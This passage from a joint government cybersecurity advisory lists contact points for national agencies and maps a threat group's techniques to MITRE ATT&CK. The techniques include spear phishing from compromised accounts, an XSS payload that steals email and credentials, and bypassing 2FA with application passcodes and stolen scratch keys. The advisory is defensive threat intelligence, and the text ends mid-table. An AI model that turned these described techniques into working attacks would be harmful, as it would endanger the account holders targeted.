<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
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<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
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<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
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<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
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<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
